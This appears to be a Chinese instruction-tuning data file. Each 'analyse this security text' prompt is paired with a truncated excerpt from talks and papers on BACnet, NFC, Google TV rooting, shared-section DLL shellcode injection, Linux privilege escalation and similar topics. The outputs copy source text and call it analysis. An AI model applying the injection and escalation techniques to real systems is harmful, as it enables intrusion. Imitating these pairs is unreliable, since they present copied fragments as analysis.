"category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nStephen Hilt, miaoski 2015/8/26-27 Building Automation and Control Hacking Subsidized Energy Saving System 1 $ whoami miaoski (@miaoski) Staff engineer in Trend Micro BACnet newbie 2 $ whoami Stephen Hilt (@tothehilt) Senior threat researcher, Trend Micro 10 years ICS security exp 3 Disclaimer Do not probe / scan / modify the devices that you dont own. Do not change any value without permission. Its a matter of LIFE AND DEATH. Beware! Taiwanese CRIMINAL LAW. 4 Photo courtesy of Wikimedia, CC0. BACnet Building Automation and Control networks 5 BACnet was designed to allow communication of building automation and control systems for applications such as heating, ventilating, and air-conditioning control, lighting control, access control, and fire detection systems and their associated equipment. http://en.wikipedia.org/wiki/BACnet Building Automation? 6 Image from http://buildipedia.com/aec-pros/facilities-ops-maintenance/case-study- cuyahoga-metro-housing-authority-utilizes-bas Credit: Siemens Building Technologies Building Automation! 7 Photo courtesy of Chien Kuo Senior High School. ANSI/ASHRAE 135-2001 8 ICS Protocols 9 ICS Industrial Control Systems SCADA Supervisory Control and Data Acquisition DCS Distributed Control Systems (Most) ICS Protocols 10 Authentication Encryption Data Integrity Homemade BACnet 11 http://bacnet.sourceforge.net/ BACnet Layers map to OSI 12 Credit: icpdas.com BACnet/IP 13 BACnet/IP = UDP + BVLL + NPDU + APDU + 14 Charts courtesy of http://www.bacnet.org/Tutorial/BACnetIP/default.html BACnet/IP = UDP + BVLL + NPDU + APDU + 15 Charts courtesy of http://www.bacnet.org/Tutorial/BACnetIP/default.html BBMD = BACnet broadcast management device BACnet Objects 16 Credit: www.bacnet.org BACnet-discover-enumerate.nse (1) 17 Object Name Packet Sent == 810a001101040005010c0c023FFFFF194d 77 == 0x4d Source: ANSI/ASHRAE Standard 135-2001 Source code: https://github.com/digitalbond/Redpoint/blob/master/BACnet-discover-enumerate.nse ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nD.I.Y. NUKEPROOFING A NEW DIG AT DATA-MINING D.I.Y. NUKEPROOFING A NEW DIG AT DATA-MINING @3ALARMLAMPSCOOT DEFCON 24 @3ALARMLAMPSCOOT DEFCON 24 BACKGROUND (RADIATION?) (why?) didn't we do this last year? BACKGROUND (RADIATION?) (why?) didn't we do this last year? @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -A lot of F.U.D. about current and future nuclear threats -Civilian rad-hardening an ongoing Achilles' heel, lack of cogent preparedness especially against EMP -Ordering Tritium from Thailand is bad, mkay? -A lot of F.U.D. about current and future nuclear threats -Civilian rad-hardening an ongoing Achilles' heel, lack of cogent preparedness especially against EMP -Ordering Tritium from Thailand is bad, mkay? SOME PHYSICS HISTORY RELEVANT TO PROLIFERATION SOME PHYSICS HISTORY RELEVANT TO PROLIFERATION @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -Neutrons, discovered in 1930, are responsible for isotopes of elements with differing mass -Fissile isotopes split when bombarded by neutrons; U-235, Pu-239 are important regarding proliferation -A critical mass can sustain a reaction, critical assembly makes a very dense softball into a physics package(euphemism!) -Neutrons, discovered in 1930, are responsible for isotopes of elements with differing mass -Fissile isotopes split when bombarded by neutrons; U-235, Pu-239 are important regarding proliferation -A critical mass can sustain a reaction, critical assembly makes a very dense softball into a physics package(euphemism!) THE MANHATTAN PROJECT THE $26B* O.G. O.G. OF PROLIFERATION THE MANHATTAN PROJECT THE $26B* O.G. O.G. OF PROLIFERATION @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -Little Boy: ~80% uranium-235 (HEU) gun-typedevice; gaseous diffusion and calutron enrichment. 13-18kt yield -Little Boy: ~80% uranium-235 (HEU) gun-typedevice; gaseous diffusion and calutron enrichment. 13-18kt yield Fat Man: 96% Pu-239 (WG Pu) implosio", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nhttp://gtvhacker.com/pres/dc20.ppt Hacking The Google TV GTVHacker Presented by: Amir zenofex Etemadieh, CJ cj_000 Heres, Tom tdweng Dwenger, and Dan bliss Rosenberg http://gtvhacker.com/pres/dc20.ppt GTVHacker: The Team GTVHacker GTVHacker is a group of 6 hackers with individual skill sets who work together to unlock Google TV devices. Our primary goal is to bypass hardware and software restrictions to allow for unsigned kernels to be loaded and used. To date the team has released multiple methods for unlocking Google TV devices. GTVHacker team won $500 bounty for being the first to root the Google TV. http://gtvhacker.com/pres/dc20.ppt Team Members GTVHacker The GTVHacker team officially consists of 6 members: AgentHH First human outfitted with metal legs. cj_000 - Destroyer of words Gynophage German rockstar reverse engineer [mbm] - known for founding the Open-WRT project and tossing 251 children down a well Tdweng software developer turned super hero. Zenofex With special guest: Bliss - a vulnerability researcher who takes sick pleasure in exploiting anything with a CPU. He once punched an Android in the face. http://gtvhacker.com/pres/dc20.ppt Google TV: What is it? Google TV is a platform that bridges the gap between your TV and an Android device. Platform creates an overlay on television stream and also contains an IR transmitter to transmit to media center devices (cable box, TV, sound system). Device was originally released without the Android Market available but was eventually updated to include it. Platform receives Over-the-Air updates automatically from OEM manufacturer. Platform contains forked version of Chrome with all plug-ins and extensions other than Flash disabled. GTVHacker http://gtvhacker.com/pres/dc20.ppt Android vs. Google TV Although Google TV runs Android there are differences: The device has a Chrome browser out of the box which provides a fairly reliable and safe browsing experience The Gen 1 Google TV pla", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTag-side attacks against NFC What is NFC? Contactless communication between two devices in close proximity Many uses, primarily door controls and payment systems Why attack NFC? Interesting technology Low-level analysis tools can be prohibitively expensive Known to be insecure, but still widely used ISO-14443 Focuses on 13.56MHz NFC communication Defines the characteristics of the communication performed between tags and readers Two tag types based on it, A and B ISO-14443A is the most commonly used of the standards Low-level communication ISO14443A Tags are powered by electromagnetic induction Communication is sent by the reader by disabling the field at specific intervals The reader uses the Modified Miller coding scheme for transmitting data to the tag Responses are sent by the tag by modifying the power being drawn from the reader Tags use the Manchester coding scheme to modulate the load Each communicated byte has an additional parity bit Modified Miller Disables field a defined intervals Minimises power loss Defined as follows: 0 bit after 0 bit: low for the first quarter of the transmission, followed by high for the remainder of the transmission 0 bit after 1 bit: high for the entire transmission 1 bit: high for the first half of the transmission, followed by low for one quarter of the transmission, and high for the remainder of the transmission 0 0 1 1 0 0 1 0 0 Manchester Performed by modifying the phase of the signal In NFC is communicated by modifying the load being drawn by the tag, using a subcarrier 1 0 0 1 0 Basic Enumeration Anticollision Performed when two tags are communicating with a reader Involves requesting responses based on partial UIDs Increases the number of bits requested until a single UID is identified Once communication is complete, the next tag can be identified and communicated with Encryption and Authentication Mifare Ultralight An authentication key is sent to the tag If the key is accurate, the reader has authenticated with th", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# advanced-potion-making Forensics, 100 points ## Description > Ron just found his own copy of advanced potion making, but its been corrupted by some kind of spell. Help him recover it! A binary file was attached. ## Solution Let's check the file type: ```console (user@kali)-[/media/sf_CTFs/pico/advanced-potion-making] $ file advanced-potion-making advanced-potion-making: data ``` `file` doesn't recognize it. Let's peek inside: ```console (user@kali)-[/media/sf_CTFs/pico/advanced-potion-making] $ xxd -g 1 ./advanced-potion-making| head 00000000: 89 50 42 11 0d 0a 1a 0a 00 12 13 14 49 48 44 52 .PB.........IHDR 00000010: 00 00 09 90 00 00 04 d8 08 02 00 00 00 04 2d e7 ..............-. 00000020: 78 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 x....sRGB....... 00000030: 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 ..gAMA......a... 00000040: 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 ..pHYs...%...%.I 00000050: 52 24 f0 00 00 76 39 49 44 41 54 78 5e ec fd 61 R$...v9IDATx..a 00000060: 72 e3 4c 94 a6 59 ce 16 6a fe 76 cd fe 57 d7 dd r.L..Y..j.v..W.. 00000070: 5b 18 45 e9 4b 8a 7a 28 d1 9d 20 48 07 a9 63 76 [.E.K.z(.. H..cv 00000080: ac 2d 2b 3e bf af 5f 07 18 01 82 d7 b2 f3 ff f3 .-+>.._......... 00000090: ff fc 7f ff 7f 00 00 00 00 00 00 00 4b 18 58 02 ............K.X. ``` This looks like a PNG header due to the existence of `IHDR`, but doesn't start with the expected magic bytes. Let's fix it based on the spec and see what we get: ```console (user@kali)-[/media/sf_CTFs/pico/advanced-potion-making] $ xxd -g 1 advanced-potion-making-test.png | head 00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 .PNG........IHDR 00000010: 00 00 09 90 00 00 04 d8 08 02 00 00 00 04 2d e7 ..............-. 00000020: 78 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 x....sRGB....... 00000030: 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 ..gAMA......a... 00000040: 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 ..pHYs...%...%.I 00000050: 52 24 f0 00 00 76 39 49 44 41 54 78 5e e", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSaving Cyberspace by Reinventing File Sharing Eijah v1.02 The Modern Internet The Price of Convenience One can easily remain free of even the most intense political oppression simply by placing ones faith and trust in institutions of authority. Glenn Greenwald When I am afraid, I put my trust in you. Psalm 56:3 3 A State of Trust Technological Innovation Open source Web and data standards Shared protocols Interoperability Benefits Cost effective applications Faster time-to-market Cross-domain content Convenience 4 ? Trust Convenience Control Change A State of Convenience Benefits Improved application usability Google/FB login Everything at our fingertips Multiple devices linked to accounts Simplification Ease of cross-domain navigation Concerns Privacy Anonymity Potential for abuse Loss of control 5 ? Trust Convenience Control Change A State of Control Questions Who owns our data? Are we simply a source? Are we greater than the sum? Loss of Control Data retention and oversight Legal compliance Security breaches Overall transparency The bottom line 6 ? Trust Convenience Control Change A State of Change The Truth Convenience doesnt require trust No need to give up control The power to change the world The Path Forward Become advocates for distrust Break the mold of old and stale thinking Create something secure and beautiful Open up the Internet for Digital Self Expression 7 ? Trust Convenience Control Change A Brief History From FTP to µTorrent The increase of disorder or entropy is what distinguishes the past from the future, giving a direction to time. Stephen Hawking, A Brief History of Time Information is power. But like all power, there are those who want to keep it for themselves. Aaron Swartz 8 Centralized Model Client-Server S/FTP Usenet IRC File Systems NTFS Samba NFS Web-Based MediaFire Mega(upload) RapidShare Streaming Netflix Amazon Prime HBO Go Revision 3 Crackle Hulu (+) Aereo (RIP) Cloud", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nScriptEngineManager代码执行 ScriptEngineManager 是用于 java 与 js 之间的相互调用这个类在 jdk6 中存在 初始化 ScriptEngineManager 类有两个初始化方法一个有参一个无参有参的初始化方法是传递一 个 ClassLoader 无参的构造方法是使用进程本身的 CLassLoader 这里可以回顾一下 SnakeYaml 反序列化其中就用到了 ScriptEngineManager 类传递一个 URLClassLoader 然后利用 SPI 机制达到代码执行所以此处可以先回顾一下这个利用过程 SnakeYaml 反序列化中的初始化 SPI SPI 全称为 Service Provider Interface 是一种服务发现机制它通过在 ClassPath 路径 下的 META-INF/services 文件夹查找文件自动加载文件里所定义的类参考文章深入理解SPI 机制 举个例子 首先定义接口完成两个实现类 在 classpath 中添加SPI搜索文件 通过 ServiceLoader.load 或者 Service.providers 两个方法来拿到实现类的实例 ScriptEngineManager 中 SPI 的过程 首先要创建一个类实现接口 javax.script.ScriptEngineFactory 至于为啥先按下不表然后 和上面一样添加一个 SPI 的搜索文件注意这个文件名是实现的接口的全类名然后上一个实验的 内容最后清空一下免得出错之后打包成 jar 通过 ScriptEngineManager 触发 SPI 机制然后弹计算器 成功远程加载了 jar 包弹出计算机 debug 一下 new ScriptEngineManager(urlClassLoader) -> init(loader); -> initEngines(loader); - > getServiceLoader(loader) 整个流程便是这个样子的并不复杂在 getServiceLoader(loader) 中通过 ServiceLoader.load 的方式去获取实现类实例这里可以 看到传递的类对象是 ScriptEngineFactory 所以要实现的接口也是这一个 之后遍历这个迭代器操作和实验上的一样在 next() 方法中会创建类对象并且创建一个对 象这就可以触发我们写的恶意代码了 好了这个我们研究完了之后来看看怎么通过 ScriptEngineManager 执行命令吧 ScriptEngineManager 的使用 js 风格的 java 人麻了", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# MVC --- ## 什么是 MVC 框架 假设我们已经编写了几个JavaBean ```java public class User { public long id; public String name; public School school; } public class School { public String name; public String address; } ``` 在 `UserServlet` 中我们可以从数据库读取 UserSchool 等信息然后把读取到的 JavaBean 先放到 `HttpServletRequest` 中再通过 `forward()` 传给 `user.jsp` 处理 ```java @WebServlet(urlPatterns = \"/user\") public class UserServlet extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 假装从数据库读取: School school = new School(\"No.1 Middle School\", \"101 South Street\"); User user = new User(123, \"Bob\", school); // 放入Request中: req.setAttribute(\"user\", user); // forward给user.jsp: req.getRequestDispatcher(\"/WEB-INF/user.jsp\").forward(req, resp); } } ``` 在 `user.jsp` 中我们只负责展示相关 JavaBean 的信息不需要编写访问数据库等复杂逻辑 ```java <%@ page import=\"bean.*\"%> <% User user = (User) request.getAttribute(\"user\"); %> Hello World - JSP

    Hello <%= user.name %>!

    School Name: <%= user.school.name %>

    School Address: <%= user.school.address %>

    ``` * 需要展示的 User 被放入 `HttpServletRequest` 中以便传递给 JSP因为一个请求对应一个 HttpServletRequest我们也无需清理它处理完该请求后 `HttpServletRequest` 实例将被丢弃 * 把 `user.jsp` 放到 `/WEB-INF/` 目录下是因为 `WEB-INF` 是一个特殊目录Web Server 会阻止浏览器对 `WEB-INF` 目录下任何资源的访问这样就防止用户通过 `/user.jsp` 路径直接访问到 JSP 页面 * JSP 页面首先从 `request` 变量获取 `User` 实例然后在页面中直接输出此处未考虑 HTML 的转义问题有潜在安全风险 在浏览器访问 http://localhost:8080/user请求首先由 `UserServlet` 处理然后交给 user.jsp 渲染 我们把 `UserServlet` 看作业务逻辑处理把 User 看作模型把 `user.jsp` 看作渲染这种设计模式通常被称为 MVCModel-View-Controller即 `UserServlet` `作为控制器ControllerUser` 作为模型Model`user.jsp` 作为视图View整个 MVC 架构如下 ``` >Controller: UserServlet Browser Model: User < View: user.jsp ``` 使用 MVC 模式的好处是Controller 专注于业务处理它的处理结果就是 ModelModel 可以是一个 JavaBean也可以是一个包含多个对象的 MapController 只负责把 Model 传递给 ViewView 只负责把 Model 给 渲染 出来这样三者职责明", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOutsmarting the Smart City DISCOVERING AND ATTACKING THE TECHNOLOGY THAT RUNS MODERN CITIES & 2 Page Researcher Bios Daniel Crowley (@dan_crowley) Research Baron at IBM X-Force Red Pen tester since 2004 Locksport enthusiast and past competition winner Actually holds the title of Baron (in Sealand) 3 Page Researcher Bios Jennifer Savage (@savagejen) Security Researcher at Threatcare Black Hat review board member Experience includes: development vulnerability assessment vulnerability management penetration testing security research 4 Page Researcher Bios Mauro Paredes (@mauroparedes) Managing Consultant at IBM X-Force Red Passion for security flaws and their corrections Formerly developer, net/server admin, security architect Pen tester for many years 20+ years infosec experience in multiple industries 5 Page What kind of tech makes a city smart? Industrial Internet of Things Urban Automation Public Safety / Emergency Management Intelligent Transportation Systems Metropolitan Area Networks 6 Page Limited citizen privacy and risk management options You dont have to buy an Alexa You can buy a non-smart TV You can buy a feature phone (or forego a cell phone) You can buy an ancient car Can you move to a city that isnt smart? 7 Page V2I, V2V, OBD-III and DSRC Connected vehicles communicate with each other, and with city infrastructure, as travel occurs. The proposed OBD-III standard raises privacy and due process concerns. 8 Page Hangzhou City Brain In China, people have less concern with privacy, which allows us to move faster - Xian-Sheng Hua, manager of AI at Alibaba at World Summit AI in 2017 9 Page Smart streetlights with cameras GEs Bill Ruh says its up to each city to set policies around the data collected by the sensors and how it can be used. 10 Page Facial recognition In 2017 the former head of Singapores civil service Peter Ong said Singapore wants to deploy facial recognition technology to all 110,000 lampposts in the country. 11 P", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nResearch Demystifying Kernel Exploitation by Abusing GDI Objects Saif El-Sherei saif@sensepost.com ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!2! ! Introduction In this paper, we will discuss integer overflows that lead to Kernel Pool memory corruption. We will go through discovery, triggering, and exploiting the identified issues, by abusing two GDI objects, the bitmap and palette objects. The concepts presented in this paper represent how I understood and tackled them, they might not be very scientific in that sense. Standing on the Shoulders of Giants Nicolas Economou Economonu and Diego Juarez Juarez Abusing GDI for ring 0: https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives 360 Vulcan: https://cansecwest.com/slides/2017/CSW2017_PengQiu- ShefangZhong_win32k_dark_composition.pdf K33n team: https://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time- font-hunt-you-down-in-4-bytes J00ru, Halvar Flake, Tarjei Mandt, Halsten, Alex Ionescu, Nikita Terankov and many others. The Setup IDA Pro. Zynamics BinDiff. VirtualKD (much love). WinDbg GDIObjDump WinDbg Extension VmWare Worksation: - Windows 8.1 x64. - Windows 7 SP1 x86. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!3! ! WinDbg Pool Analysis Tips !poolused This command can be used to view the pool usage of a certain Pool tag or for a certain Pool type. !poolfind This command is used to find all locations of allocated objects of the specified Pool tag. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!4! ! !pool This command is used to view the Pool page where the specified address is located in. ! Demystifying Kernel Exploitation by Abusing GDI Objects 2017-07-18! ! ! ! ! pg.!5! ! Kernel Pool Kernel Pool Types The kernel Pool is a sort of Heap memory that is used by the kernel, and it has many types [1], the most used are: Desktop Heap: primarily used for Desk", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n前 常规的shellcode注般是通过 VirtualAllocEx , WriteProcessMemory 和 CreateRemoteThread 来实现的但是这种式是被安全软件重点监控的同时微软提供的 ETW接也是可以轻易检测出上述式进代码注的痕迹本的核是讲解怎么利具 备 RWX-S 权限且身有签名的DLL进种较隐蔽的shellcode注 并讲解具体的代码实现以及在写代码实现的过程中遇到的坑本法是由章提出的https: //billdemirkapi.me/sharing-is-caring-abusing-shared-sections-for-code-injection/ 详情可 以参考此章 基础知识回顾 PE件的每个section都具备的权限表明他被映射到虚拟内存之后的操作权限也就是 SECTION_CHARACTERISTICS 这个字段占四个字节 通常来讲 .text 节区只具备 IMAGE_SCN_MEM_READ 和 IMAGE_SCN_MEM_EXECUTE 权 限 .data 节区般只具备 IMAGE_SCN_MEM_READ , IMAGE_SCN_MEM_WRITE 权限 当PE 件被映射到内存后对个不具备 IMAGE_SCN_MEM_WRITE 权限的节区进写操作或者对 个没有 IMAGE_SCN_MEM_EXECUTE 的节区进执时都会报异常 看微软的档document, 会发现个权限叫做 IMAGE_SCN_MEM_SHARED 那共享到底意味 着什么据测试显示具备此权限的section会被当前系统所有的进程共享如果进程A和进 程B都加载了具备IMAGE_SCN_MEM_SHARED权限的模块C那么模块C的此section在系 统层上只有份这也就意味着A进程对C的修改有IMAGE_SCN_MEM_WRITE权限 会影响到B进程 那么思路就来了如果个模块的某个节区是具备 RWX-S 权限我只需要把它加载到进程A 中然后修改它的内容为恶意代码然后想办法让他加载到进程B中就可以实现在B中执 恶意代码了 那这种利主要分为如下个步骤 于怎么去找个具备 RWX-S权限的签名dll原作者也提供了个yara规则在virustotal上 来筛选不再细说: 这提供个我找到的DLL: https://www.virustotal.com/gui/file/855277c0aeea89d17a07e27 e9cf79c98b26e70e8e57561c4b592097e0032c4e9 以后的代码都是基于此DLL完成的 1. 找到个有签名的并且具备 RWX-S 权限的dll(不具备RWX-S权限也可以可以patch系 统内的已签名的dll但是这样会破坏签名不够隐蔽) 2. 将DLL加载到进程A的内存修改 RWX-S 权限的section的代码进patch 3. 调 SetWindowsHookEx使DLL中的某个函数指针作为 HOOKPROC 参数使得DLL被 注到标进程B中 4. 标进程B加载DLL并触发恶意代码执 import \"pe\" rule RWX_S_Signed_Search { meta: description = \"Detects RWX-S signed binaries. This only verifies that the image contains a signature, not that it is valid.\" author = \"Bill Demirkapi\" condition: for any i in (0..pe.number_of_sections - 1): ( (pe.sections[i].characteristics & pe.SECTION_MEM_READ) and (pe.sections[i].characteristics & pe.SECTION_MEM_EXECUTE) and (pe.sections[i].characteristics & pe.SECTION_MEM_WRITE) and (pe.sections[i].characteristics & pe.SECTION_MEM_SHARED) ) and pe.number_of_signatures > 0 } 其实这最关键的是步骤主要涉及两个问题 1. patch什么位置可以保证此DLL被进程B加载之后恶意代码定会被执 2. patch成什么样的代码才能保证进程B不会因为运异常崩溃 先回答问题1当前DLL被进程B加载后定会被执的有两个函数分别是 DllMain 和 设 置给 SetWindowsHookEx 的消息hook函数, 我觉得这两个函数中 DllMain 更", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nR I C K Y H I L L D E F C O N 2 1 8 / 3 / 2 0 1 3 Phantom Network Surveillance UAV / Drone 1 About Me Security Consultant, D.C. Area Specialties: Wireless & SCADA Security US Govt. & Commercial Previous DEFCON Talks: WarRocketing & WarBallooning, (over Las Vegas ;-) Hobbies: R/C helis, Deep Sea Fishing 2 What Talk is NOT About Having UR Dry Cleaning Delivered -> 3 Outline Intro - Aerial Wireless Surveillance Past attempts: Balloons, Rockets, UAVForge New Technology: The Phantom Drone Building the Network Surveillance Drone Flights & Results Conclusion 4 What this is Really About Aerial, wireless (802.11) network surveillance Past Attempts: DARPA - UAVForge, 2011 Blackhat 2011: WASP spy drone 5 UAVForge Perch and Stare OK, so this hawk doesnt have a Pineapple, but hes definitely perfected the technique! -> 6 But I luv Helis & Drones: Why did UAVForge fail? 143 teams from 153 countries competed -> No One Won. Factors: - Govt. required ops beyond LoS - Limited FPV capabilities - Ambitious, autonomous operations - Some highlights (uavforge.net) 7 UAVForge Crashes 8 Meet THE DJI Phantom DJI Innovations introduced the Phantom JAN 2013 It quickly gained a reputation for being the most stable drone platform in the air today Features: GPS Auto Return to Home Payload: up to 400 grams $679. UAVForge Dones: $2K-9K 9 Whats New since 2011? Technology has improved dramatically: Tiny computers: Cotton Candy (30 gr.) CC: Bluetooth, HDMI, 802.11 capable Wifi Pineapple: remote 3G, 4G DJI Phantom = the first consumer quality drone that is easily flyable by the average person. 10 TechnoLust Overcomes Me: Lets build this! Designed & Built 2 payloads: Cotton Candy + WiSpy or KillerBee Flying Pineapple = Hak5 Pineapple + GSM 3G/4G 11 Site Survey Payload Cotton Candy makes a perfect headless computer Apple Bluetooth KB & Mouse detach instantly ARM processor runs Ubuntu or Android O/S 1.2 GHz ARM Cortex-A9 CPU, 1GB of RAM, image on microSD Wireless Tools: Ki", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n目录 前言 2 1-linux提权描述 4 2-基本Linux权限提升前的信息收集 6 3-linux提权自动信息收集 18 4-linux提权-内核漏洞提权 19 5-1-linux-历史漏洞提权 24 5-linux提权-利用以root权限运行的服务 25 6-Linux提权-NFS权限弱 27 7-linux提权-Suid和Guid配置错误 32 8-linux提权滥用SUDO 41 9-linux提权-利用.路径配置错误 45 10-linux提权利用定时任务Cron jobs 47 11-linux提权-通配符注入 54 渗透测试 红队攻防 免杀 权限维持 等等技术 及时分享最新漏洞复现以及EXP 国内外最新技术分享!!! 进来一起学习吧 本文由黑白天安全团队李木整理 水平有限错误还望大佬多多包涵 仅供学习研究请遵守法律不要进行非法攻击 微信扫一扫关注公众号 大多数计算机系统设计为可与多个用户一起使用特权是指允许用户执行 的操作普通特权包括查看和编辑文件或修改系统文件特权升级意味着 用户获得他们无权获得的特权这些特权可用于删除文件查看私人信息 或安装不需要的程序例如病毒通常当系统存在允许绕过安全性的错 误或对使用方法的设计假设存在缺陷时通常会发生这种情况 特权提升是利用操作系统或软件应用程序中的错误设计缺陷等等来获得 对通常受到应用程序或用户保护的资源的更高访问权限的行为结果是 具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执 行未经授权的操作 特权升级有两种类型水平和垂直在水平升级中您从一个用户转移到 另一个用户在这种情况下两个用户都是通用的而在垂直方式中我 们将特权从普通用户提升为管理员 简单来说就是 即用户无法访问读取/写入/执行不允许访问的文件但是超级用户 root可以访问系统上存在的所有文件 为了更改任何重要的配置或进 行进一步的攻击首先我们需要在任何基于Linux的系统上获得root用户 访问权限 为什么我们需要执行特权升级 读/写任何敏感文件 重新启动之间轻松保持 插入永久后门 特权升级所使用的技术 我们假设现在我们在远程系统上有外壳根据我们渗透进去的方式我们 可能没有 root特权以下提到的技术可用于获取系统上的 root访问权 限 内核漏洞 以root身份运行的程序 已安装的软件 弱密码/重用密码/纯文本密码 内部服务 Suid配置错误 滥用sudo权利 由root调用的可写脚本 路径配置错误 Cronjobs 卸载的文件系统 信息收集是关键 Linux特权提升的TIps 信息信息更多的信息收集信息收集是整个渗透测试过程的 整理信息分析收集的信息和整理信息 搜索漏洞- 知道要搜索什么以及在哪里可以找到漏洞利用代码 修改代码- 修改漏洞利用程序使其适合目前的渗透并非每种漏洞都能 为现成的每个系统工作漏洞看环境 尝试攻击- 为很多尝试和错误做好准备 操作系统 什么是发行类型什么版本的 什么是内核版本是64位吗 从环境变量中可以收集到什么信息环境变量中可能存在密码或API密钥 cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- cat /etc/profile cat /etc/bashrc 1 2 3 4 1 2 3 4 5 1 2 路径Path) 如果您对该变量内的任何文件夹都具有写权限则可以劫持某些库或二进制 文件PATH echo $ PATH 有打印机吗 应用与服务 哪些服务正在运行哪个服务具有哪个用户特权 root正在运行哪些服务在这些易受攻击的服务中值得仔细检查 安装了哪些应用程序他们是什么版本的他们目前在运行吗 cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set lpstat -a ps aux ps -ef top cat /etc/services ps aux | grep root ps -ef | grep root ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l 3 4 5 6 1 1 2 3 1 1 2 3 服务设置是否配置错误是否附有脆弱的插件 计划了哪些工作计划任务 是否有纯文本用户名和/或密码 检查Web服务器连接到数据库的文件config.php或类似文件 检查数据库以获取可能被重用的管理员密码 r", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nExploitation Detection System (EDS) Introduction: in the last several years, the exploits become the strongest cyber weapons in all cyber warfare. The exploit developer/vulnerability researcher become the nuclear scientist of the digital world. Most of Attacks now are APT attacks and they are based on attacking from behind. they attack using a spear phishing and client-side attacks which bypass all of security defenses and appliances nowadays. In this white paper, I will talk about a new concept named \"Exploitation Detection System\" which will defend against the APT Attacks and a new security mitigation tool which is based on co-operation between several mitigations to cover the weaknesses of each other and it's based on monitoring the memory changes which doesn't decrease the performance of the running application and creates a multi-layer protection with the regular mitigations. the EDS consist of 2 payload detection tools for detecting shellcodes and rop chains and includes several mitigations tools for stack overflow, heap spray, use after free and other attack techniques which we will describe in the white paper. Exploitation Detection System as a Concept: Why EDS? The next generation of attacks, the hackers nowadays attack a company from its client. they attack using spear-phishing, client-side attacks and exploits to get internally inside the network of the company and from inside these clients they attack the servers and get their information. The Attackers use new undetectable malware (which is very easy for the signature-based AVs) and use HTTP and HTTPS to bypass the Firewalls, IDS and IPS tools to connect to the Attacker and sometimes they use legitimate websites to bypass threat intelligence tools and DNS analysis. from these malwares, the attacker tries to get into the server by stealing the passwords using sniffing or whatever they can do, or even hack the server to get into your information and databases. Most of security defenses and security tools ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTechnical Service Bulletin: FXR-14 Modifying GE MVS VHF Group 2 150 174 MHz for Amateur Radio Applications in the 219 220 & 222 225 MHz Band A FluX Research project in several phases Release Date: 04-01-2011 Last Update: v1.2 03-01-2011 By: Matt Krick, K3MK matt@kgmn.net Radio Model #: GE MVS - NPFH3OSS Warning: Please be aware that this document may contain several omissions and or typographical errors, continue reading at your own risk. Background: Special thanks to Mohave Amateur Radio Club, K7MPR for providing the radios for experimentation. The following LBIs may be helpful: LBI-31919E VHF High band 40 watt MVS maintenance manual LBI-31920D VHF High band RF board 19D901835G2 (150-174 MHz) LBI-31921C VHF High band Power Amplifier board 19C851540G2 (150-174 MHz) LBI-31922D Audio board 19D901870G1 LBI-31924F MDR, MTD, MVS, TMX-8825 System Board 19D901891G1 LBI-31926C Service section for VHF high band combinations LBI-31927D MVS Operators manual Covers 2 channel, 8 or 16 channel, scan, selective calling (SelCal) and PA operation LBI-38387B MVS Front cap assembly 19D901913G1 (this is the front panel) LBI-38465B Remote mount option 19A705306G3 LB-I38899 MVS / MCS / TMX-8712 / TMX-8310 Logic boards 